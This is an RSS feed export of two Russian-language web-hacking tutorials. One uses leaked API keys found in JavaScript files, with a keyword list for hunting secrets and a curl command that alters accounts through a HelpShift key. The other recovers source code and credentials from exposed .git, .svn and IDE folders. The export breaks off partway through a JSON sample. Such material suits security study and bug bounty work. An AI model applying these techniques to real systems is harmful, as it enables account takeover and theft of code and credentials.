<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>KAKAO</title><generator>teletype.in</generator><description><![CDATA[KAKAO]]></description><image><url>https://img4.teletype.in/files/34/1b/341bcf4d-b0e2-44eb-8b92-fe95007f9fa1.png</url><title>KAKAO</title><link>https://teletype.in/@kakaovers</link></image><link>https://teletype.in/@kakaovers?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=kakaovers</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/kakaovers?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/kakaovers?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Fri, 01 May 2026 00:54:23 GMT</pubDate><lastBuildDate>Fri, 01 May 2026 00:54:23 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@kakaovers/js_help_find_exploit</guid><link>https://teletype.in/@kakaovers/js_help_find_exploit?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=kakaovers</link><comments>https://teletype.in/@kakaovers/js_help_find_exploit?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=kakaovers#comments</comments><dc:creator>kakaovers</dc:creator><title>Инструмент для обнаружения конечных точек JS</title><pubDate>Thu, 18 May 2023 02:27:01 GMT</pubDate><description><![CDATA[<img src="https://miro.medium.com/v2/resize:fit:875/1*tdmtjQJW4kqcepfl-cd0OA.png"></img>В этой статье я поделюсь одним из своих недавних открытий, который в основном связан с файлами JS. В котором я расскажу вам, как эти файлы JS помогут вам найти ошибки высокой степени серьезности.]]></description><content:encoded><![CDATA[
  <p id="6a6d">В этой статье я поделюсь одним из своих недавних открытий, который в основном связан с файлами JS. В котором я расскажу вам, как эти файлы JS помогут вам найти ошибки высокой степени серьезности.</p>
  <p id="e1a2">Если вы слишком ленивы, я предлагаю вам использовать этот инструмент, т.е. LinkFinder. Это инструмент для обнаружения конечных точек JS, написанный GerbenJavado. Вы можете найти его здесь, <a href="https://github.com/GerbenJavado/LinkFinder" target="_blank">LinkFinder</a> .</p>
  <p id="Wb6F">Но лично я предпочитаю делать это вручную. Потому что иногда автоматизированные инструменты оказываются бесполезными и пропускают некоторые важные вещи. Итак, приступим.</p>
  <h1 id="116b">Фаза 1: извлечение файлов JS и их украшение:</h1>
  <ol id="OxgS">
    <li id="c80e">Извлечь файлы JS из исходного кода redacted.com</li>
    <li id="5007">Bash, который я использовал для извлечения файлов .js с помощью <a href="https://github.com/tomnomnom/waybackurls" target="_blank"><strong>waybackurl</strong></a> :<br /><br /><code>Extraction(){<br />waybackurl $1| grep -iE “\.js$” | uniq | sort<br />}</code></li>
  </ol>
  <p id="3cfL">3. Для украшения кода JS я использовал <a href="https://www.npmjs.com/package/js-beautify" target="_blank"><strong>js-beautify</strong></a> для красивого вывода кода js (довольно просто).</p>
  <p id="6HT4"><code>js-beautify &lt;file.js&gt; | tee -a &lt;beautify.js&gt;</code></p>
  <p id="XkNU">Вы можете установить его по приведенной ниже ссылке:</p>
  <p id="GYex"><a href="https://www.npmjs.com/package/js-beautify" target="_blank">https://www.npmjs.com/package/js-beautify</a></p>
  <h1 id="bd70">Фаза 2: Поиск шаблонов и конечных точек в файлах JS:</h1>
  <ol id="xXUC">
    <li id="f866">Это несколько шаблонов, которые я использую при чтении любого файла JS.</li>
  </ol>
  <p id="JMni"><code>{api_key, api-key, apikey , api , access , AccessToken , gmap , gmaps , algolia_api_key , credentials, etc..}</code></p>
  <p id="e66d">2. Сопоставление конечных точек, которые вы нашли при чтении JS-файла. <strong>(важный)</strong></p>
  <p id="ab34">3. Большинство охотников за ошибками пропускают второй пункт только потому, что они не могут наметить правильные конечные точки, что приводит к ошибкам безопасности высокой степени серьезности и теряет шансы получить ошибки высокой степени серьезности.</p>
  <blockquote id="xUE4"><strong>ПРИМЕЧАНИЕ.</strong> Прочитайте каждый путь и попробуйте сопоставить эти конечные точки, пока не добьетесь успеха. Потому что файл JS содержит все решения, связанные с сопоставлением конечных точек.</blockquote>
  <h1 id="be7f">Этап 3. Поиск соответствующей документации:</h1>
  <ol id="WRcq">
    <li id="6d70">Если вы нашли какой-либо ключ Rest-Api-Key, перейдите к его документации Api (поищите в Google соответствующие документы Api) и поймите, как он работает и как вы будете использовать его для получения доступа к целевой системе.</li>
    <li id="2ffc"><a href="https://github.com/streaak/keyhacks" target="_blank"><strong>Keyhacks</strong></a> (это поможет вам для быстрой эксплуатации. Поскольку этот репозиторий содержит более 50 рабочих конечных точек различных ключей Rest-API).</li>
  </ol>
  <p id="g4xr">Теперь давайте взглянем на мой раскрытый отчет, где я нашел HelpShift-Rest-Api-Key, с помощью которого я могу изменить содержимое учетных записей, а также я могу удалить учетные записи redacted.com.</p>
  <h1 id="91cd">Шаги для воспроизведения (в соответствии с отчетом):</h1>
  <h2 id="429c">Поиск ключа API:</h2>
  <ol id="uhjf">
    <li id="5c58">Перейдите на « <a href="https://redacted.com/dist/main.7be5c75d761008c183e6.min.js" target="_blank">https://redacted.com/dist/main.7be5c75d761008c183e6.min.js</a> ».</li>
    <li id="bc47">Анализируя код JS, вы найдете значение base64 в параметре HelfShiftApiKey.</li>
  </ol>
  <figure id="1DcS" class="m_custom">
    <img src="https://miro.medium.com/v2/resize:fit:875/1*tdmtjQJW4kqcepfl-cd0OA.png" width="700" />
    <figcaption>Ключ API для отдыха HelpShift</figcaption>
  </figure>
  <h2 id="ab58">Полная эксплуатация:</h2>
  <ol id="DowT">
    <li id="dc39">Перейдите на « <a href="https://apidocs.helpshift.com/" target="_blank">https://apidocs.helpshift.com</a> » и введите необходимые данные.</li>
    <li id="6e36">Вы получили Swagger API и успешно вошли в систему. Теперь делай все, что хочешь.</li>
  </ol>
  <p id="40eb">Примечание. Вы также можете использовать команду curl:</p>
  <blockquote id="qmCT">curl -X PUT — header ‘Content-Type: application/x-www-form-urlencoded’ — header ‘Accept: application/json’ — header ‘Authorization: Basic &lt;base64_API_Key&gt;’ -d ‘username=&lt;username&gt;’ ‘<a href="https://api-a.helpshift.com/v1/" target="_blank">https://api-a.helpshift.com/v1/</a>&lt;domain_name&gt;/users/&lt;profile_id&gt;&#x27;</blockquote>
  <p id="CHyu">вы можете получить все идентификаторы профиля из запроса getUser.</p>
  <p id="Tpzv"><br /><br /><br /><br /><strong>Наш канал - <a href="https://t.me/webhack_kakao" target="_blank">https://t.me/webhack_kakao</a></strong></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@kakaovers/directory-vulnb</guid><link>https://teletype.in/@kakaovers/directory-vulnb?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=kakaovers</link><comments>https://teletype.in/@kakaovers/directory-vulnb?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=kakaovers#comments</comments><dc:creator>kakaovers</dc:creator><title>Что хранят в себе скрытые файлы и папки на веб-сервере? </title><pubDate>Tue, 09 May 2023 15:41:26 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/8d/28/8d287fbb-dd07-406e-aa5a-7a8a6f2d35c3.png"></media:content><description><![CDATA[<img src="https://codeby.net/attachments/asdasdasd-jpg.24790/"></img>Доброго времени суток! Сегодня я хочу рассказать, что содержат в себе скрытые папки и файлы на веб-сервере.
]]></description><content:encoded><![CDATA[
  <p id="z772">Доброго времени суток! Сегодня я хочу рассказать, что содержат в себе скрытые папки и файлы на веб-сервере.<br /></p>
  <p id="L7Td">Скрытые файлы и директории, которые оставляют на веб сервере, могут иметь важную, конфиденциальную информацию. Веб-сервер может содержать много скрытой информации.<br /><strong>Такие файлы как:</strong></p>
  <ul id="X5Jz">
    <li id="b98n">исходные коды версии системных папок и файлов (.git, .gitignore, .svn)</li>
    <li id="IYYW">файлы конфигурации (.npmrc, package.json, .htaccess)</li>
    <li id="42se">пользовательские файлы конфигурации (.json, .yml, .xml)</li>
    <li id="frzS">и многое другое</li>
  </ul>
  <p id="4IeF"><strong>Эти данные можно поделить на 3 группы:</strong></p>
  <ol id="ML5S">
    <li id="peIV">Файлы конфигурации для IDE (Интегрированная среда разработки)</li>
    <li id="uNza">Исходный код системы контроля версий</li>
    <li id="FXZi">Проекты и/или файлы конфигурации и настройки для конкретной технологии</li>
  </ol>
  <p id="MqlP">Давайте взглянем на все это более детально, что бы узнать какую информацию можно от них ожидать</p>
  <p id="kcm6"><strong>Исходный код системы контроля версий</strong></p>
  <p id="X0ve"><u><strong>Git</strong></u></p>
  <p id="at1k">Git «является <u><a href="https://codeby.net/goto/link-confirmation?url=aHR0cDovL2ZiLnJ1L2FydGljbGUvNDQ0NDc0L3Jhc3ByZWRlbGVubnlpZS1zaXN0ZW15aS1vcHJlZGVsZW5pZS1vc29iZW5ub3N0aS1pLW9zbm92bnlpZS1wcmludHNpcHlp&s=c79c3a47681ebe3e206551c54a30d74b" target="_blank">распределенной системой</a></u> для управления версиями разрабатываемых файлов»</p>
  <p id="xHC8">Недавно созданный Git-репозиторий содержит несколько папок и файлов по умолчанию, в которых хранится вся информация. Вот пример папки <strong>.git</strong> с уже сделанным комитом:</p>
  <figure id="bSun" class="m_column">
    <img src="https://codeby.net/attachments/asdasdasd-jpg.24790/" width="1000" />
  </figure>
  <p id="o37P">Все данные хранятся в .git. Эти данные можно поделить на 3 вида: комиты, каталоги файлов либо «<em>Tree</em>», и блобы «<em>Blob</em>»</p>
  <p id="L4fz"><strong>1. Комит</strong> — хранит информацию с текущими хэшами каталогов файлов</p>
  <p id="CgaO"><strong>2. Tree</strong> — содержит информацию о структуре папок и файлов - и каждая отдельная папка или файл имеет свой собственный хэш объекта, хранящийся в объекте каталогов файлов. Это может быть другой каталог(папка на один уровень ниже в структуре папок) или файл.</p>
  <p id="lLFV"><strong>3. Blob</strong> - это объект Git типа, в котором сохраняется содержимое файлов.</p>
  <p id="t818">Если все же <strong>.git</strong> папка встретиться на веб сервере, есть легкий путь для получения содержания любого файла — просто скачав и прочив Git объекты. Если повезет, можно скопировать репозиторий используя команду git clone, либо использовать <em><strong>wget с -r</strong></em> опцией. Но иногда все не так просто…</p>
  <p id="GWIz">Давайте рассмотрим ситуацию, когда ни один из этих вариантов не выполняется успешно</p>
  <p id="T0KB">Что бы убедиться о наличии <strong>.git</strong> папки на веб сервере, нужно проверить получения <u>HTTP 403</u> ответа (если 404 — запрашиваемая папка не найдена).</p>
  <figure id="N3BR" class="m_column">
    <img src="https://codeby.net/attachments/1131-png.24791/" width="1000" />
  </figure>
  <p id="we28"><em><u>Отражение файлов и папок используя локальную Git репозиторий</u></em></p>
  <p id="gt9K">Что бы сделать это, стоит создать свою простенькую <strong>.git </strong>репозиторий с внутренней структурой и скачать Git объекты с веб сервера</p>
  <p id="V8S4"><strong>Прежде всего, создания репозитория:</strong></p>
  <p id="5ysx"><code>$ git init</code></p>
  <p id="cnFC">Эта команда инициализирует пустую Git репозиторий с всеми необходимыми файлами и папками.</p>
  <p id="hepM"><u><em>Получение и прочтение информации об объектах</em></u></p>
  <p id="e90X">Для получения информации о Git репозитории, сперва нужно выяснить стартовую точку. Git сохраняет всю информацию в лог файле, и этот файл доступен в <strong>.git/logs/head</strong></p>
  <figure id="86Nc" class="m_column">
    <img src="https://codeby.net/attachments/asdasd-png.24792/" width="1409" />
  </figure>
  <p id="By1R">Если <strong>.git/logs/head</strong> не работает, но .git возвращает 403, то нужно попробовать <strong>.git/logs/HEAD</strong></p>
  <p id="tIVQ">Проанализируем внимательнее на строку из файла:</p>
  <p id="5FpB"><code>0000000000000000000000000000000000000000 07603070376d63d911f608120eb4b5489b507592 <a href="mailto:test@gmail.com" target="_blank">test@gmail.com</a> &lt;<a href="mailto:test@gmail.com" target="_blank">test@gmail.com</a>&gt; 1452195279 +0000 commit (initial);</code></p>
  <p id="dVgP">Первые 2 строки являются хэшами объектов, и именно это нам нужно. Так как это самый первый комит, первый хэш имеет только нули (так как предыдущего нет), второй в свою очередь имеет информацию о предыдущем.</p>
  <p id="39BN">Первым делом нужно создать действующий путь к объекту. Путь содержит общий путь ко всем объектам в хранилище, то есть к <strong>.git/objects</strong>, за которым следуют две части, построенные из хэша - имя каталога (первые два символа хэша) и имя файла (остальная часть хэша, начиная с третьего символа). Таким образом, чтобы получить объект, идентифицированный по хэшу 07603070376d63d911f608120eb4b5489b507592, нужно открыть следующий URL:</p>
  <p id="w9R5"><em>localhost/testapp/.git/objects/07/603070376d63d911f608120eb4b5489b507692</em></p>
  <p id="9hU1">И скачивается файл:</p>
  <figure id="NreA" class="m_column">
    <img src="https://codeby.net/attachments/asd54454554-png.24793/" width="1296" />
  </figure>
  <p id="a5ry">Скачанный файл можно увидеть в своей «простой» Git папке:</p>
  <p id="iPrr"><em>vasha_prostaya_git_papka/.git/objects/07/603070376d63d911f608120eb4b5489b507692</em></p>
  <p id="L7No">Команда <strong>git cat-gile -t</strong> поможет узнать тип объекта:</p>
  <p id="b57t"><code>$ git cat-file -t &lt;хэш&gt;</code></p>
  <p id="4ZDO">Что бы отобразить содержание файла, нужно прописать следующую команду:</p>
  <p id="cfiJ"><code>$ git cat-file -p &lt;хэш&gt;</code></p>
  <p id="17Ws">Теперь можно проверить тип, и прочитать содержание файла, который был сохранен ранее:</p>
  <figure id="khiI" class="m_column">
    <img src="https://codeby.net/attachments/asdas144-png.24795/" width="985" />
  </figure>
  <p id="NOWp">При прочтении содержания, можно найти информацию о нынешнем хэше из каталога объектов:</p>
  <figure id="ieIW" class="m_column">
    <img src="https://codeby.net/attachments/aasdaaa-png.24796/" width="938" />
  </figure>
  <p id="W2CT">Как вы можете заметить, только index.php остался в папке, также я уже узнал хэш объекта и его тип, который является blob. И это то что нам нужно, для просмотра содержания файла, используя все тот же метод, который до этого я использовал для чтения содержимого комита и объектов каталога (но прежде всего, нужно скачать объект с веб-сервера, как было описано выше):</p>
  <figure id="ju6A" class="m_column">
    <img src="https://codeby.net/attachments/asdaasqs-png.24800/" width="840" />
  </figure>
  <p id="Et47">Так же стоит запомнить, что данное содержание index.php показано такое же, какое оно было при создании комита описанным объектом 07603070376d63d911f608120eb4b5489b507692. Если вы взглянете в файл логов, вы сможете заметить второй комит (идентифицирован хэшем объекта <em>4db7a14eee2cd3ff529278b75e1653e677fe1d02</em>) и это последний комит, он содержит последние изменения и из-за этого нынешний index.php будет отличаться от предыдущего index.php:</p>
  <p id="E66A">PHP:</p>
  <pre data-lang="php" id="vQlA">&lt;?php
echo &quot;Hello World!&quot;;

$i = 100;
echo &quot;Value of i is $i&quot;;</pre>
  <p id="vGjQ">Так как ручной перебор объектов мучительный и нудный, в сетях можно найти автоматизированные скрипты, вот например - <a href="https://github.com/bl4de/security-tools/tree/master/diggit" target="_blank">тык</a></p>
  <p id="48Vj"><em><u><strong>.gitignore файл</strong></u></em></p>
  <p id="X4EI">Есть так же одна вещь, которую стоит описать, если вы нашли .git папку оставленную на веб-сервере, а именно - .gitgnore. Цель таких файлов проста — это место где можно положить имена всех папок и файлов который не стоит комитеть в репозиторий. По этому это самый легкий путь найти файлы, которые по каким-то причинам не должны быть закомиченны:</p>
  <figure id="LDEq" class="m_column">
    <img src="https://codeby.net/attachments/asdasdasd45455454-png.24797/" width="457" />
  </figure>
  <p id="X1HP"><u><em>Subversion (SVN)</em></u></p>
  <p id="qOXy">Subversion (или SVN) это система контроли системы создана Apache Software Foundation и эта система остается очень популярной и широко используемой.</p>
  <p id="YnEq">Пример структуры SVN папок и файлов:</p>
  <figure id="h0fU" class="m_original">
    <img src="https://codeby.net/attachments/asdasssaqq-png.24799/" width="592" />
  </figure>
  <p id="AloW">На мой взгляд, wc.db является самым важным файлом базы данных SQLite, <em>pristine/ </em>так же имеет ценную информацию. В wc.db можно найти хэши используемые в <em>pristine/, </em>поэтому стоит начать именно отсюда</p>
  <p id="wLWW">Что бы получить информацию из Subversion, прежде всего, нужно убедиться, что нам доступен wc.db. А именно: открыть следующую ссылку в веб-браузере:</p>
  <p id="zrYn"><a href="http://server/path_to_site/.svn/wc.db" target="_blank">http://server/path_to_site/.svn/wc.db</a></p>
  <p id="4THd">Если выскочило уведомление о загрузке — обозначает, что есть шанс, что остальные .svn файлы будут находиться здесь. Сперва, нужно прочитать содержание wc.db что бы получить информацию о хэшах файлов.</p>
  <p id="vSlK">Что бы прочитать wc.db файл, можно воспользоваться SQLite утилитой:</p>
  <p id="NyiI">Код:</p>
  <pre data-lang="" id="f34E">$ sqlite3 wc.db
SQLite version 3.8.10.2 2015-05-20 18:17:19
Enter &quot;.help&quot; for usage hints.

sqlite&gt; .databases
seq  name             file                                                     
---  ---------------  ----------------------------------------------------------
0    main             /Users/test/wc.db   

sqlite&gt; .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE REPOSITORY (   id INTEGER PRIMARY KEY AUTOINCREMENT,   root  TEXT UNIQUE NOT NULL,   uuid  TEXT NOT NULL   );
INSERT INTO &quot;REPOSITORY&quot; VALUES(1,&#x27;svn+ssh://192.168.1.4/var/svn-repos/project_wombat&#x27;,&#x27;88dcec91-39c3-4b86-8627-702dd82cfa09&#x27;);
(...)
INSERT INTO &quot;NODES&quot; VALUES(1,&#x27;trunk&#x27;,0,&#x27;&#x27;,1,&#x27;trunk&#x27;,1,&#x27;normal&#x27;,NULL,NULL,&#x27;dir&#x27;,X&#x27;2829&#x27;,&#x27;infinity&#x27;,NULL,NULL,1,1456055578790922,&#x27;bl4de&#x27;,NULL,NULL,NULL,NULL);
INSERT INTO &quot;NODES&quot; VALUES(1,&#x27;&#x27;,0,NULL,1,&#x27;&#x27;,1,&#x27;normal&#x27;,NULL,NULL,&#x27;dir&#x27;,X&#x27;2829&#x27;,&#x27;infinity&#x27;,NULL,NULL,1,1456055578790922,&#x27;bl4de&#x27;,NULL,NULL,NULL,NULL);
INSERT INTO &quot;NODES&quot; VALUES(1,&#x27;trunk/test.txt&#x27;,0,&#x27;trunk&#x27;,1,&#x27;trunk/test.txt&#x27;,2,&#x27;normal&#x27;,NULL,NULL,&#x27;file&#x27;,X&#x27;2829&#x27;,NULL,&#x27;$sha1$945a60e68acc693fcb74abadb588aac1a9135f62&#x27;,NULL,2,1456056344886288,&#x27;bl4de&#x27;,38,1456056261000000,NULL,NULL);
INSERT INTO &quot;NODES&quot; VALUES(1,&#x27;trunk/test2.txt&#x27;,0,&#x27;trunk&#x27;,1,&#x27;trunk/test2.txt&#x27;,3,&#x27;normal&#x27;,NULL,NULL,&#x27;file&#x27;,NULL,NULL,&#x27;$sha1$6f3fb98418f14f293f7ad55e2cc468ba692b23ce&#x27;,NULL,3,1456056740296578,&#x27;bl4de&#x27;,27,1456056696000000,NULL,NULL);
(...)</pre>
  <p id="4tUx">Заметили операции INSERT в таблицу NODES? Каждая из этих операций содержит имя файла и SHA1 хэш, который отвечает записке в pristine/:</p>
  <p id="kWsz">Код:</p>
  <pre data-lang="" id="lQLg">$ ls -lA pristine/94/
total 8
-rw-r--r--@ 1 sor staff  38 Feb 31 12:05 945a60e68acc693fcb74abadb588aac1a9135f62.svn-base</pre>
  <p id="NRc5">Что бы отобразить значения из NODES в имя файла, нужно выполнить несколько команд:</p>
  <ul id="1MBy">
    <li id="iqKY">удалить префикс $sha1$</li>
    <li id="oHsI">добавить постфикс .svn-base</li>
    <li id="EZTV">использовать первые два знака как имя папки внутри директории pristine/ (в этом случае это 94)</li>
    <li id="JgYr">создать полный путь, который в этом примере будет:</li>
  </ul>
  <p id="dXQq"><a href="http://server/path_to_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base" target="_blank">http://server/path_to_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base</a></p>
  <p id="Tzak">При открытии ссылки, нужно будет скачать файл или отобразить содержание прямо в файле:</p>
  <figure id="fAtR" class="m_column">
    <img src="https://codeby.net/attachments/asdasdmain-png.24801/" width="782" />
  </figure>
  <p id="X5fQ">Так же, запись в таблице REPOSITORIES указывает на настоящий путь в репозиторий, который является:</p>
  <p id="qiNf">svn+ssh://192.168.1.4/var/svn-repos/project_wombat</p>
  <p id="HpdI">В данной ссылке содержится много информации. Оставляя папку .svn на веб-сервере может быть огромной ошибкой. Это может даже обозначать полную компрометацию исходного кода веб-приложения.</p>
  <p id="TNOC"></p>
  <p id="vDM5"></p>
  <p id="WkKy"><strong>Так же много информации в себе хранят <u><em>файлы проектов IDE:</em></u></strong></p>
  <p id="FH82">IDE (интегрированные среды разработки) используется многими программистами, для хранения настройки проектов, куча дополнительной информации в их собственных файлах. Если такая папка лежит на веб-сервере — это уже другой источник информации о этом веб-сервере.</p>
  <p id="OJxf">Например, возьмем приложения <strong><u>JetBrains IDEs </u></strong>:<strong><u> IntelliJ IDEA, WebStorm, PHPStorm, RubyMine</u></strong></p>
  <p id="CCTt">Каждый проект, в каждой продукции JetBrains, создает собственные скрытые директории - .idea/.<br />Эти директории содержат всю информацию о нынешних проектах, их файлов, другие директории и IDE настройки.</p>
  <figure id="DRz6" class="m_custom">
    <img src="https://codeby.net/attachments/aaasqqasa1-png.24805/" width="289" />
  </figure>
  <p id="fj92">Один из этих файлов, является очень важным с точки зрения безопасности — workspace.xml.<br />Этот файл содержит много ценной информации, которая позволяет перечислить все файлы и папки приложения, информацию о системе контроля версии и многое другое.</p>
  <p id="uNBj">Давайте рассмотрим, что именно хранит этот файл:</p>
  <p id="ZMyZ">XML:</p>
  <pre data-lang="xml" id="dWEV">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
    (...)
    &lt;component name=&quot;FileEditorManager&quot;&gt;
        &lt;leaf&gt;
          &lt;file leaf-file-name=&quot;README.md&quot; pinned=&quot;false&quot; current-in-tab=&quot;false&quot;&gt;
            &lt;entry file=&quot;file://$PROJECT_DIR$/README.md&quot;&gt;
                (...)
    &lt;/component&gt;
(...)</pre>
  <p id="tYFc">Все узлы в <em>component name=”FileEditorManager”</em> содержат все файлы и их пути. Проще говоря — это просто результат команды ls выполненной в основной папке проекта, и завернутой в XML.</p>
  <p id="Bplk">Если присмотреться к каждому <em>component’</em>у узла, можно найти информацию про использование системы контроля версии, например:</p>
  <p id="Rlfb">XML:</p>
  <pre data-lang="xml" id="x0X0">&lt;component name=&quot;Git.Settings&quot;&gt;
    &lt;option name=&quot;UPDATE_TYPE&quot; value=&quot;MERGE&quot; /&gt;
    &lt;option name=&quot;RECENT_GIT_ROOT_PATH&quot; value=&quot;$PROJECT_DIR$&quot; /&gt;
  &lt;/component&gt;</pre>
  <p id="HfH6">Так же, тут много информации про комиты и остальные задачи, которые выполняются в узле <em>component name=”TaskManager”</em>:</p>
  <p id="j7aa">XML:</p>
  <pre data-lang="xml" id="QOYx">&lt;task id=&quot;LOCAL-00211&quot; summary=&quot;change WebSocket port to 1099&quot;&gt;
      &lt;created&gt;1436206418000&lt;/created&gt;
      &lt;option name=&quot;number&quot; value=&quot;00211&quot; /&gt;
      &lt;option name=&quot;project&quot; value=&quot;LOCAL&quot; /&gt;
      &lt;updated&gt;1436206418000&lt;/updated&gt;
    &lt;/task&gt;</pre>
  <p id="ad2d">Другая интересная информация может находиться в изменении истории, записана в узел <em>component name=”ChangeListManager”</em>:</p>
  <p id="EjE9">XML:</p>
  <pre data-lang="xml" id="jDTJ">&lt;component name=&quot;ChangeListManager&quot;&gt;
                (...)
                &lt;change type=&quot;DELETED&quot; beforePath=&quot;$PROJECT_DIR$/chat/node_modules/socket.io/node_modules/socket.io-adapter/node_modules/debug/Makefile&quot; afterPath=&quot;&quot; /&gt;
                (...)
        &lt;/component&gt;</pre>
  <p id="VZRT">так же хорошо, как и в узле <em>component name=&quot;editorHistoryManager&quot;</em>:</p>
  <p id="C5bA">XML:</p>
  <pre data-lang="xml" id="3u9J">&lt;entry file=&quot;file://$PROJECT_DIR$/public_html/vendor/angular/angular.js&quot;&gt;
      &lt;provider selected=&quot;true&quot; editor-type-id=&quot;text-editor&quot;&gt;
        &lt;state vertical-scroll-proportion=&quot;0.0&quot;&gt;
          &lt;caret line=&quot;3233&quot; column=&quot;29&quot; selection-start-line=&quot;3233&quot; selection-start-column=&quot;29&quot; selection-end-line=&quot;3233&quot; selection-end-column=&quot;29&quot; /&gt;
        &lt;/state&gt;
      &lt;/provider&gt;
    &lt;/entry&gt;</pre>
  <p id="dmvT">Если программист управлял дата базой интегрированным менеджером DB, значит там находятся другие интересные файлы: <em>dataSources.ids (в этом файле находиться структура базы данных)</em>, <em>dataSource.xml</em>, <em>dataSources.xml</em>, <em>dataSources.local.xml</em> и <em>dbnavigator.xml </em>содержат примерно такую информацию:</p>
  <p id="f7Ai">XML:</p>
  <pre data-lang="xml" id="0weN">&lt;database&gt;
          &lt;name value=&quot;database_name&quot; /&gt;
          &lt;description value=&quot;&quot; /&gt;
          &lt;database-type value=&quot;MYSQL&quot; /&gt;
          &lt;config-type value=&quot;BASIC&quot; /&gt;
          &lt;database-version value=&quot;5.7&quot; /&gt;
          &lt;driver-source value=&quot;BUILTIN&quot; /&gt;
          &lt;driver-library value=&quot;&quot; /&gt;
          &lt;driver value=&quot;&quot; /&gt;
          &lt;host value=&quot;localhost&quot; /&gt;
          &lt;port value=&quot;3306&quot; /&gt;
          &lt;database value=&quot;mywebapp&quot; /&gt;
          &lt;url-type value=&quot;DATABASE&quot; /&gt;
          &lt;os-authentication value=&quot;false&quot; /&gt;
          &lt;empty-password value=&quot;false&quot; /&gt;
          &lt;user value=&quot;root&quot; /&gt;
          &lt;password value=&quot;gh7sdQ==&quot; /&gt;   &lt;!-- Base64 encoded --&gt;
        &lt;/database&gt;</pre>
  <p id="mAoN">Или даже больше, как например файл <em>dataSources.local.xml</em>:</p>
  <p id="DBd6">XML:</p>
  <pre data-lang="xml" id="BnhJ">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;project version=&quot;4&quot;&gt;
  &lt;component name=&quot;dataSourceStorageLocal&quot;&gt;
    &lt;data-source name=&quot;MySQL - mywebapp@localhost&quot; uuid=&quot;8681098b-fc96-4258-8b4f-bfbd00012e2b&quot;&gt;
      &lt;secret-storage&gt;master_key&lt;/secret-storage&gt;
      &lt;user-name&gt;root&lt;/user-name&gt;
      &lt;schema-pattern&gt;mywebapp.*&lt;/schema-pattern&gt;
      &lt;default-schemas&gt;mywebapp.*&lt;/default-schemas&gt;
    &lt;/data-source&gt;
  &lt;/component&gt;
&lt;/project&gt;</pre>
  <p id="PgdX">Все зависит от самого проекта, и использования определенных IDE плагинов (к примеру, дебагер, система контроля версии или менеджер базы данных). Как вывод, стоит тщательно осматривать каждый узел component.</p>
  <p id="EKOO">Как вы можете заметить, это очень интересный кладезь информации. Я предлагаю вам скачать любую продукцию JetBrains IDE, далее создать проект и добавить пару папок и файлов, после этого попробуйте управлять Git или SVN. Так же создайте простую базу данных, и управляйте ею при помощи Database Manager. После всего этого, в .idea/ вы найдете очень много интересной информации.</p>
  <p id="TMb1"><u><strong>NetBeans IDE</strong></u><br /><a href="https://codeby.net/goto/link-confirmation?url=aHR0cHM6Ly9uZXRiZWFucy5vcmcv&s=e1f1fedb87007efddbb19b0d6e58f58e" target="_blank">NetBeans</a> другая популярная и бесплатная IDE для JAVA, C/C++, PHP, HTML5 и JavaScript разработки.</p>
  <p id="PCZT">NetBeans создает свою собственную скрытую папку в папке проекты, где содержит всю нужную информацию и настройки — nbprosect/ (стоит отметить, что папка имеет схожую функцию со скрытыми папками продукции JetBrains IDEs)</p>
  <p id="KUx1">В скрытой папке, вы сможете найти project.xml. Данный файл является отличным стартом для постижения конфигурации NetBeans проекта.</p>
  <figure id="Xh25" class="m_column">
    <img src="https://codeby.net/attachments/qwqwqdwd112-png.24806/" width="309" />
  </figure>
  <p id="Mj5d">Способ изучения информации в скрытой папке очень похож с раннее описанными методами. Поэтому, я не буду детально на этом останавливаться.</p>
  <p id="dAiR"><u><em><strong>Разные файлы конфигурации</strong></em></u></p>
  <p id="GPAH"><strong><u>Спецификация файлов конфигурации NodeJS/JavaScript</u></strong></p>
  <p id="aYiB">Если вы сталкивались с современными постройками JavaScript проектов, скорее всего вы были удивлены, насколько много файлов имеют *.json и .rc* в папке/папках проекта.</p>
  <p id="8ahL">В папках проекта храниться много файлов конфигурации которые похожи на эти, и содержать в себе много информации о использованных библиотеках. Некоторые директории не доступны прямо из веб-браузера или вообще невозможно их обнаружить инструментами для обнаружения скрытых папок и файлов, но все же, некоторые из этих файлов можно встретить повсюду.</p>
  <p id="Z9FD">Примерами являются файлы конфигурации npm (package.json, package-lock.json), которые содержат все зависимости приложения. Так же примером являются файлы linters для JavaScript, таких менеджеров как ESlint, JShint или Bower - bower.json.</p>
  <p id="KlLI">Давайте взглянем на простой bower.json файл, который содержит конфигурации для Bower и имеет список пакетов использованных в веб-приложении (для фронтенда):</p>
  <p id="Rc71">JSON:</p>
  <pre data-lang="json" id="cNg9">{
  &quot;name&quot;: &quot;testapp&quot;,
  &quot;version&quot;: &quot;2.1.0&quot;,
  &quot;description&quot;: &quot;test application&quot;,
  &quot;main&quot;: &quot;index.html&quot;,
  &quot;moduleType&quot;: [
    &quot;globals&quot;
  ],
  &quot;license&quot;: &quot;MIT&quot;,
  &quot;dependencies&quot;: {
    &quot;angular&quot;: &quot;1.4&quot;,
    &quot;pure&quot;: &quot;~0.5.0&quot;,
    &quot;angular-route&quot;: &quot;~1.2.26&quot;,
    &quot;angular-ui-router&quot;: &quot;~0.2.11&quot;,
